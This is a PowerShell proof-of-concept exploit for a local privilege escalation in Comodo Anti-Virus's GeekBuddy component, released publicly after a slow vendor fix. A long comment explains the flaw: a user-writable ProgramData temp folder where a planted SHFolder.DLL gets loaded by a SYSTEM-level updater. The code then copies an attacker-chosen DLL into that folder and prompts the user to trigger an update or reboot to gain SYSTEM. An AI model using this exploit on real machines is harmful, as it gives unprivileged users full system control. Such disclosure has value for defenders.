<# ````......```` ``,;''''''''''''''''';,` .;''''''''''''''''''''''''''',` `:''''''''+';:,.``````.,:;'''''''''':` ,;'''''';,.```,;'''''';: `:'''''',.`,'''''';. `;+''+':`,;`,''''';. `;'''';. ``.:;'` `. `;'''''. `:+''';``,``:+'' ';;'`,'';`` ``:'''';` .'''';` ,';' '':'`';,'`'',' :''' .''` :'''', `;''''` ;'' :+.` ;';, ';:' ''''`,;:+ '', `;''''` .''''. ;:`, .'.':`'''.:;`;.+;:' '::; ;''' ';.'''', :''';` `'''',`':'' ..;:`','`'''' ':;;`'`';`':` :;:'''; ;''+, .;`.'.'' ';.'`';': ,:. `` ` `,: .';',,'`;'.`';': .+'''` `''''`;'; ''.'.,','` ,```;`''.`;'`''+: ;'''` `''''.,.'' ,'.'' ;;. ```````` `.``'::'`;; `:'''. ``''':`+,`.':`'','`,;''''''''''+'':.`;'.+:;'``':.'''. `''','', ''`:;`:'''''''''''''''''''''';.`;'`': ''`'` .''', `''', ` `''``'; .''''''''''''''''''''''''''''';``.;' ;'.''`.:`''', `''', :''.`'' `,;'''''''''''''''''''''''''''''''';. ``,.'::', ''`.'''. ''','.''`,': ,'''''''''''''''''''''''''''''''''''''', `.+,'; '';.'''` ''': ''`'' ;. `'''''''''''''''''';:::;';'''''''''''''''''.;' :': ,,`.''' :'';`''.'`` :''''''''''''';:::.', `''';`:;'+'''','''''+;`,'; :''' ,''' .''' `` .++; `''''''''''''`. `':''';`:''' :'''''''. .+ :''.+. :'': `''+ :'': `` ,''''''''''''' `':'''; `: ,'''''''': .`''.'' ` '''` ;''.`+.',;;'''':''''''''; `',.'''': `:''''';'''; `'.',`,',`+'' ,'':'';,'.;''''':''''''''`+`;..`;'+''.'.:''''';'''''```.+'+:'`.''; `'''`;``+',;.`;''''':''''''''.';`;'','`'' ;''''','''''`;,+.+. ;''. ;'+.:'': ;': ;'''''':''''':',''.`'';.+''`,'; .'''';''''''``+.':``''' `'':.+`;''` `;'''''':''''''.::''..''. ::`'';`,'''':''''''`:+'.,'', '''`:''.:'' :''''''':'''''; :''''.'', `.,; :+'`''': ;''',''''''' ,`''' .'':`'';``,''''''':;''''':`''';', ,''+` ,+':' +'''''''`,'''''''''''; .+`.'': '''`''. :',`''''''':`'''''+.;';.:::::::,,''';`'': . .'''''''; ''''.''''''',`;'': ''' .'',','';`. '''''''; :'''''' `,;'''''''''.``` . ''''';:,`:;''+`'''',,'''''''`:'';``+': '''`''.,'; ;'''''';''''',`,'''''''''''''.....,,,.`''''''''';;,,;.''''; :''''''' '''. ;'' `'': .'';:;`'''''''` .+'', ,'''''''''''';'''''''++`''''':..:'''' `''''';'''''',.,`` .'', ` :'':''`''''''+`;''``;'''''''''''''':``,,.`````,'''''. ';.;'''` `'''''''`.++. ''; +'' ,'''''': ;+`,'''''''''''''''''+''';;;;'''''''+` :;+,`''. `.'''''';.+'''` :'+` ,''.': +''''';,,;''''''''''''''''''''''''''''''''''.`.::,` `';.', ;''''''`:'':`.`''; ;'':;.;': ,''''''.`''''';;;,`.:'''''''''''''''''''''''''.;''''''':`;;;, `''''''; `.;.;'+`;'' '': `;';';' ''''''; ''';;''''''',`.'',` .:;;''''''''''.,'''''''''''.;;.,'''''' `;''''. .''` .''..';`;'.''''''.:+;;''''''''''': ;'::::...;''+'':,'''';..``;''';.''''''; `:''.`': `'': :'' `,'`;''''''.:;'''''''''''''';`;, `,''';` .:;;;'''':,'''''' .,''',''' ;';''';,``''''''''''` :''''''''''';.:'''`';:`,''';`;''''''''''',''''''.;';,` :''` `'', .;,''';,'''''''''' ;'''''''''':` :'''`::```'''',+''''''''''''+` ;''''';.``.:;` `''. .''` `+;'`;`'''''''''';.'''''''',` ''';` :''';'''';::;'''''';; ` `''''''`;'';;; `+': :'' ..;''`''''''''''`'''''''', .'''``+''';''. ,'''''''''''''''''''''''''''''''''''''':` ;'':.``.'''''''''';'''''''' ;'';;''':::` :'''''''''''''''''''''''''''''''''''''''', ;':'''':`:'''''''''''''''''',`.'''''''.`+''''''''''''''''''''''''''''''''''''''''' '',:,;'':;''''''''''''''''''`;''...:''''` :''''''''''''''''''''''''''''''''''''''''''` `''. `+'':,`''''''''''''''''''; ,'';.+` . ,;'''`''''''''''''''''''''''''''''''''''''''''''; .''. `.,;'; '''''''''';''''''',''',+. `` .'.''' ''''''''+'''''''''''''''''''''''''''''''''', .'+` ;'''''``'''''''` `;''''.'++','`+.''' '''''';`;+'''''' ,''''''';; ,'''';'''';'``.''' :''''''` .'''''': :'+'''''': .'''';'''';'` .''' ,''''''`,'''''; :'',''''', ''''''` .'''';'''';', .'''`.''''''` '''''' ;''`'''''';:''''', ''''''.'''';'''';':,''''..''''''` '''''' ;''`';''''':''''', :'''';:''''''''';''.'''''`''''''` ;''''' ;'':''''', ,''''' `+''''''''':''.'''''` ,''''';'''''' :'+,''''', `'''''.,'''''''''':''::''''; ;''''': `'''''' :''```.,''''':''''': `''''''''''',''+`'''''. `''''''. :'''''' ,''` `'''''''.'''''; `''''': '''''''''''';''',,''''',''''''' ,'''''', .''` `''':,.;`'''''' `'''''': '''''''''''''';'''`'''''':. `,''''''', .'''''''' `''``,;;;''`'''''' `'','''';,` `,''''''''''''''',''':.''''''''''''''''''':` ;'''''''''''''''''''''''''''''', '', `+';;, '''''' `''`,'''''''''''''''''''''''''''':''''.:''''''''''''''''',+''''''''''''''''''''''''''''''; '': ` `,.;'''''.`''' .''''''''''''''''''''''''''''.''''`;''''''''''''''':;; `''''''''''''''''''''''''''';'; ;';,'''';:''''':`''''``'''''''''''''''''''''''''''`:''''`;''''''''''''';,', ,''''''''''''''''''''''''''''; ;''';;,...''''''`''';;:''''''''''''''''';'''''''. '''''`;'''''''''''';+'` ;'''''''''''''''''''''''''';. :'' `,:;''' ''''''` `'''`';` `;'''''';,''''''';''''''', .'''''..''''''''''''+:'''''''';''''''''';''''';,` .''. .''',` ;''''': `''':;''.````` :+'''''',;''''''','''''';..;''''''''''` `''''''`,'': `+': '':`.;.,'''''+.'';,'''''''';:''''''''','''''''':;'''''''''.`,''''''';''''';,'',.''. ''; :+.++` `''''''. +'''`'''''''''''''''''''.''''''''', .''';;'':,,'''''''',''''''.':''',:''` :'',';:.'.;'''''' ''''.:''''''''''''''''';;'''''''''''.'''.`:;'''''':'': :'''''' ';,.:'''' .''. .;:''' .''''''` ,'''':`''''''''''''''''':''''''''''';''''.`;'''''''''.'''', '''''': ,'''', `'': '';;';, ;`'''''';.+''''' ''''''''''''''''':''''''''''': :'':'''''''''',;''''': :'''';' ,. .;:,''` ;'' `;', `,'''''''''''''.,'''''''''''''';','''';:.`` `,.;'''''''''''.+''''''.'''''';,'+'.''' .''.'''';` ''''';''''''';`'''''''''''''':.'';:,;'''':`,:`:''''''''','',`:''':''''''`'.:'''`'': ''' :'': `:.,'''';;'''''''`;'''''''''''',:';`:'',,``.:'. `':`+''''''';:'',':';.'''''';`'''..':'' :''``,. ;:++`''''';,'''''';`''''''''''';;',.''....,.. ,';:.'.`'''''''.'''','';+'''''';. ,+''`''; `'':`'',`;:`'''''',''''''.:''''''''''`+.,';:''''''';.:''':'`,''''''`'''':''''''''', :':;` ,','', ;''` `+.''+` ` :'''''','''''' '''''''''' `.'''''''''''''::'''', +'''':,''''`;''''''''+.''+;''' `'':;'';` ` ''''''':''''';`'''''''','''''''''''''''.,''''`''''',:''''`,'''''''`'''.:';.'': ''+`,`,+:`'''''','''''':`'''''''` :'''''''''''''; ;'''`+''''`;'''':+''''''.` ` :'':;,''' .'': ;';''. .'''''';'''''',`'''''+''''''''''''''`.,'';.''''' '''''''''''': +'``;';.'', ''+`:''; ,'`:''''','''''''.,''''' ,'''''''''''''':''''';''''','''';''''''; ,.''. .`` ''' `';;`+. ;'':':''''':'''''''.:'''; ;''''''''''''': `'''''''''''.'''''.'''''' :';`''; :''. :'',``'':.''`;'''';;:''''''`'''; '''''''''''''': .'''''''''''.''',;'''''' ` :''.'''``''' ''' ;'.:''`;''''';:''''':''';.'';''''''''''': ,'''''''''':;'':+''''''`.''``'+',: '''` .';;`;;'; ` :''''':'''''';'''`'';''''''''''': ,''''''''''`''';''''';.,''` :`,'': ;'',`', `'. ,''''';''''';'''''':''''''''''': .''''''''',`+';,'''';``.''';``''' '''``'';: ` .'''':'''''`'''''';;''''''''''; `'''';'''',.`''+,'', ,'`:'''''`'''` .''';'.''`;''''''''.''''''':'''';:,''';. ,''';''''',;'''',` `;''''''';. ;'', ,'';''.;',,';''''';,''''''`+,` .;:;''',,'';'''+.;''''',```:+,''''''''''.:''; ;'';''';', '. `,''''''.'''''' `.:;'+''''+''';.,.''':,''''''` ``'''''''''''''','' ''': .,,': :':+''''''',''';.:'+,.` `.:''':`''''''''''; `'':'''''''''''''',` ''': ` .''`'`;'''''''..,.:+,` ``.,.`,'''`;'''''''+.';'.:'''':;'''''+:.'` ''': ;:`+'`,:..,''''''; .+: `:'+''''';`;'; .''''': `:';:+''';`''''''. .': `''';; ;'..';'`;'''',;'. .+''''''''''`;;'+:'''; .+'''''''';''''''.;,''; `'''','; :'`'`;'''':+` `'''''''''''': ;'';'''`;''''''''''''''''',.'''; `''''` ``':. ';''.+.`''''''''''''; `'''''::'''.'''',`'''''': :';;'' ''''.:;,'`:'.';','''''''''''':,'''','''..''': '''';;:,''. `'' :''':`.+'' '''',' :''''''''''+. ''''''':`'''' .''';:;`.'.:' '; ,''''``,` ',;:'. `;;;,``'''::::;''; :';, ,'''''' ;'''` +'''.''+'.:'+`': `'''':`;'':''''''+;.;``,:`''''',`'''''`,'''' :'''.''''..''','. :''''..,': :'''''''.`;'''';` .''''''`'''':`+'''``''',;'''``''';:'. `'''''``.'` ''''''';`'''''''': ,''''';;'''`''''; ''';:'''. ;''','' ,'''''``.'` '''''''.'''''''''', +'''''` ,'';.''''`''''`+''' ,''''`.: :''''', .''''''''.'''';:.,'''`''''''. .''''''':.''',;'''``;,',' '. `:+'''';..;'''''':,''':'''.:''.'''''': `'`''''' ''''`''': ' ::.:`+ `,''''':'''''''::''+`''',;''.;''''', `'.'''';`'''.;'''`:.,+`'`,: .;+':''''''';.''''';`,'''.''''''` `'.''''.,'''`'''.`;`+;`' + .:+` '''''''`''''''+'''+.''''';.' ;''' ;''.;,'' ' ''.:``: '. :'''''':.+'''''''',;''''',;: ;''; '''.'.,;,,:'' '`' ;; `'''''''``;'''''',`,'''''`'` ''',.''',.:;`' ''.,.`; .+''''''' ` `.,,.`'; '''; :; `''+`;'';;: :.;`',`; ;` +: `'''''``';;;;;'''', `` `+. `''' '''::;;:;`;'`;.., ,'``.. `+''''''''''+` :'`'';`''':. ,.',''.; ' `+':'''''''''''',`+.`'',.''',. :,''''+ ; .', ;''''''''''''.':''.,''':` ;.''''.,. :'.:''''''''''',;'`''.:''',':;.''':.: ''. ,:''''',` ;+` :'.:'''' ':`''; ; `'', ''. ::,''''``; :, ' ;+;` .'+` ``'':'`,; '`` ,'';.`.'';`:';'.,;'. `,''';:::::;'''.``+;' +` `,:''''';,` ,,; SHFolder.DLL Local Privilege Elevation Exploit for Comodo Anti-Virus GeekBuddy Component by @Laughing_Mantis (Greg Linares) Since it took 146 days to fix a DLL Hijack issue I decided to drop this PoC: ###Technical Geeky Stuff### GeekBuddy stores several helper applications within the C:\ProgramData\Comodo\lps4\temp folder. These binaries are individual components of the Comodo Security Suite and are executed whenever their related function is performed, updated, or uninstalled. The directory listing is as follows: 10/06/201512:08 AM<DIR>. 10/06/201512:08 AM<DIR>.. 10/02/201510:43 PM27 download.cfg 10/02/201510:47 PM 637,864 setup_clps_application_vulnerability_monitor_release-4.10.307677.9.exe 10/02/201510:44 PM 2,196,272 setup_clps_autoruns_manager_api_release-4.14.330616.6.exe 10/02/201510:44 PM 547,088 setup_clps_boot_time_monitor_release-4.12.315371.9.exe 10/06/201512:07 AM 1,014,024 setup_clps_browser_addons_api_release-4.0.292287.4.exe 10/02/201510:44 PM 554,240 setup_clps_browser_addons_monitor_release-4.12.315370.6.exe 10/06/201512:06 AM 950,864 setup_clps_client_transaction_release-4.19.365037.89.exe 10/06/201512:08 AM 563,896 setup_clps_cross_selling_installer_monitor_release-4.12.318569.13.exe 10/02/201510:43 PM 768,032 setup_clps_cspm_alert_monitor_release-4.19.360508.5.exe 10/06/201512:08 AM 581,432 setup_clps_immaturely_closed_sessions_monitor_release-4.21.366534.6.exe 10/02/201510:47 PM 459,432 setup_clps_memory_monitor_release-4.10.301764.3.exe 10/02/201510:46 PM 1,152,480 setup_clps_system_cleaner_api_release-4.2.292287.3.exe 10/06/201512:07 AM 1,989,272 setup_clps_system_cleaner_monitor_release-4.12.317464.8.exe 10/06/201512:07 AM 648,912 setup_clps_windows_event_monitor_release-4.19.362032.8.exe 10/02/201510:43 PM 1 survey_version.txt 10/06/201512:05 AM<DIR>updates The C:\ProgramData\Comodo\lps4\temp\ folder has the following permission configuration: C:\ProgramData\Comodo\lps4\temp NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F BUILTIN\Administrators:(OI)(CI)(ID)F CREATOR OWNER:(OI)(CI)(IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R BUILTIN\Users:(CI)(ID)(special access:) FILE_WRITE_DATA FILE_APPEND_DATA FILE_WRITE_EA FILE_WRITE_ATTRIBUTES Notice how the folder allows Users to have FILE_WRITE_DATA and FILE_WRITE_EA access.This allows non-administrator users the ability to create files in the directory but not delete or modify existing files. Comodo's main service engine is controlled by the SYSTEM service Launcher-Service.exe which resides in the C:\Program Files (x86)\Common Files\COMODO\ folder.This service is auto launched by the registry key HKLM\System\CurrentControlSet\Services\CLPSLauncher This binary will then launch Unit_Manager.exe in the C:\Program Files\COMODO\GeekBuddy with SYSTEM level privielges.This binary in turn then launches the binary C:\Program Files\COMODO\GeekBuddy\unit.exe to handle each sub process in the C:\ProgramData\Comodo\lps4\temp\ folder. During client connections to update servers and Geek Buddy executions the unit.exe binary will launch the binary setup_clps_client_transaction_release-4.19.365037.89.exe.This setup binary has hardcoded DLL loading procedures to look for SHFOLDER.DLL in the current directory which it is executed from. .data:00409240 dd offset aShfolder ; "SHFOLDER" .data:00409244 dd offset aShgetfolderpat ; "SHGetFolderPathA" During this delay load procedure the exe will load SHFOLDER.DLL from its local directory before looking in the other PATHS variables. By planting a malicious SHFOLDER.DLL in the C:\ProgramData\Comodo\lps4\temp\ and triggering an update or client connection to secure servers (which occurs automatically at user login) a user can elevate their privileges to SYSTEM and compromise the system fully. ######### GREETZ ###################################################################################### 1st off all my new homies in the Vectra Networks Research Team - you guys are seriously legit mad #respect to everyone here. #Humbled @taviso - keep killing it and thanks for being an inspiration @bill_billbil - sup girl chicken rico n chill @tacticalRCE - Its no 100 mile rides but will miss all the good times.C-ya around mang. @hellNBak_ - drop tehm greetz like its 2003 @hacksforpancakes - make plans for other NullCon in 2016 ;) @jduck - we gonna juke some more toyotas next time you come visit @hdmoore - good luck with your ventures good sir @jsoo - dont give up good sir - you're doing awesome @thegrugq - when i grow up i hope im half as wise as you good sir @daveaitel - Triangular Anus logos are the best @da_667 - AYYYYYYYYYYYYYY LMAO @bonovoxly - Clever Girls Wear Pink on Wednesdays Derek Soeder - Respect to you brother, keep on being awesome Benny 29A - next time im in CZ lets get beers, im buying Yuji Ukai - #RESPECT to everything you have ever done and will ever do.#Ninja Sizzop - for fixing my greetz ######################################################################################################### #> Param ( [Parameter(ValueFromPipelineByPropertyName = $true)] [string]$DLL = "" ) if (!(Test-Path $DLL)) { throw "Fatal Error: The specified file: $DLL does not exist." } Copy-Item -Path $DLL -Destination "C:\ProgramData\Comodo\lps4\temp\SHFolder.dll" -Force Write-Host "Copying $DLL to the Comodo AV GeekBuddy's insecure temp folder as SHFolder.dll" -ForegroundColor Red [void][System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") $objNotifyIcon = New-Object System.Windows.Forms.NotifyIcon $MyPath = Get-Process -id $pid | Select-Object -ExpandProperty Path $objNotifyIcon.Icon = [System.Drawing.Icon]::ExtractAssociatedIcon($MyPath) $objNotifyIcon.BalloonTipIcon = "Info" $objNotifyIcon.BalloonTipText = "Hijacked SHFolder.DLL with $DLL. Now manually update Comodo Anti-Virus using the GUI or Reboot the system to gain SYSTEM Level Privileges" $objNotifyIcon.BalloonTipTitle = "@Laughing_Mantis" $objNotifyIcon.Visible = $True $objNotifyIcon.ShowBalloonTip(8000)
体验盒子
